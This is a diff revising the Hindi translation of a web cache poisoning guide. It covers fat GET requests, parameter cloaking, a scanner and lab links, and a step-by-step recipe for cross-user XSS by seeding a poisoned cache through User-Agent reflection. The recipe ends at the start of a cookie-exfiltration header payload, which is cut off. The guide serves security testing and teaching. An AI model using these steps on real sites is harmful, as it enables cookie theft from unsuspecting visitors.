अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो उस URL को एक्सेस करने वाला कोई भी व्यक्ति वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जो जेम्स केटल ने Github वेबसाइट पर पाया: +एक GET request भेजें जिसमें अनुरोध URL और body दोनों में मौजूद हो। यदि web server body में मौजूद वाले को उपयोग करता है लेकिन cache server URL में मौजूद वाले को cache कर लेता है, तो जो भी उस URL तक पहुँचेगा वास्तव में body से आए parameter का उपयोग करेगा। जैसे कि James Kettle ने Github website पर पाया हुआ vuln: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -145,39 +145,39 @@ Content-Length: 22 report=innocent-victim ``` -There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +There is a PortSwigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### Parameter Cloaking +### Parameter Cloacking -उदाहरण के लिए, **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग किया जा सकता है। इसका उपयोग कुंजी रहित पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है। +उदाहरण के लिए ruby सर्वरों में **parameters** को अलग करने के लिए char **`;`** का उपयोग **`&`** की बजाय किया जा सकता है। यह unkeyed parameters values को keyed ones के अंदर डालने और उनका दुरुपयोग करने के लिए इस्तेमाल किया जा सकता है। Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)। +यहां सीखें कि कैसे [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) को अंजाम दिया जाता है। ### Automated testing for Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग वेब कैश पॉइज़निंग के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और अत्यधिक अनुकूलन योग्य है। +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग web cache poisoning के लिए स्वतः परीक्षण करने हेतु किया जा सकता है। यह कई अलग-अलग techniques को सपोर्ट करता है और highly customizable है। Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -यह वास्तविक दुनिया का पैटर्न एक हेडर-आधारित परावर्तन प्राइमिटिव को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को सेवा देने के लिए कैश किए गए HTML को विश्वसनीय रूप से ज़हर दिया जा सके: +यह वास्तविक दुनिया का पैटर्न एक header-based reflection primitive को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को परोसे जाने वाले cached HTML को विश्वसनीय रूप से poison किया जा सके: -- मुख्य HTML ने एक अविश्वसनीय अनुरोध हेडर (जैसे, `User-Agent`) को निष्पादन योग्य संदर्भ में परावर्तित किया। -- CDN ने कैश हेडर को हटा दिया लेकिन एक आंतरिक/मूल कैश मौजूद था। CDN ने स्थिर एक्सटेंशन (जैसे, `.js`) में समाप्त होने वाले अनुरोधों को भी स्वचालित रूप से कैश किया, जबकि WAF ने स्थिर संपत्तियों के लिए GETs पर कमजोर सामग्री निरीक्षण लागू किया। -- अनुरोध प्रवाह की विचित्रताएँ एक `.js` पथ के लिए अनुरोध को मुख्य HTML के लिए उपयोग किए जाने वाले कैश कुंजी/वैरिएंट को प्रभावित करने की अनुमति देती हैं, जिससे हेडर परावर्तन के माध्यम से क्रॉस-यूजर XSS सक्षम होता है। +- मुख्य HTML ने एक untrusted request header (e.g., `User-Agent`) को executable context में reflect किया। +- CDN ने cache headers को strip कर दिया पर internal/origin cache मौजूद था। CDN ने static extensions (e.g., `.js`) वाले requests को auto-cache भी किया, जबकि WAF ने static assets के GETs के लिए कम कड़ाई से content inspection लागू किया। +- Request flow के quirks ने `.js` path पर एक request को subsequent main HTML के cache key/variant को प्रभावित करने की अनुमति दी, जिससे header reflection के माध्यम से cross-user XSS सक्षम हुआ। Practical recipe (observed across a popular CDN/WAF): -1) एक साफ IP से (पूर्व की प्रतिष्ठा-आधारित डाउनग्रेड से बचें), ब्राउज़र या Burp Proxy Match & Replace के माध्यम से एक दुर्भावनापूर्ण `User-Agent` सेट करें। -2) Burp Repeater में, दो अनुरोधों के एक समूह को तैयार करें और "Send group in parallel" का उपयोग करें (एकल-पैकेट मोड सबसे अच्छा काम करता है): -- पहला अनुरोध: एक ही मूल पर एक `.js` संसाधन पथ GET करें जबकि आप अपना दुर्भावनापूर्ण `User-Agent` भेज रहे हैं। -- तुरंत बाद: मुख्य पृष्ठ GET करें (`/`)। -3) CDN/WAF रूटिंग दौड़ के साथ-साथ स्वचालित रूप से कैश किया गया `.js` अक्सर एक ज़हरीला कैश किए गए HTML वैरिएंट को बीज देता है जो फिर अन्य आगंतुकों को सेवा दी जाती है जो समान कैश कुंजी की शर्तें साझा करते हैं (जैसे, समान `Vary` आयाम जैसे `User-Agent`)। +1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace. +2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best): +- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. +- Immediately after: GET the main page (`/`). +3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`). Example header payload (to exfiltrate non-HttpOnly cookies): ``` @@ -185,86 +185,103 @@ User-Agent: Mo00ozilla/5.0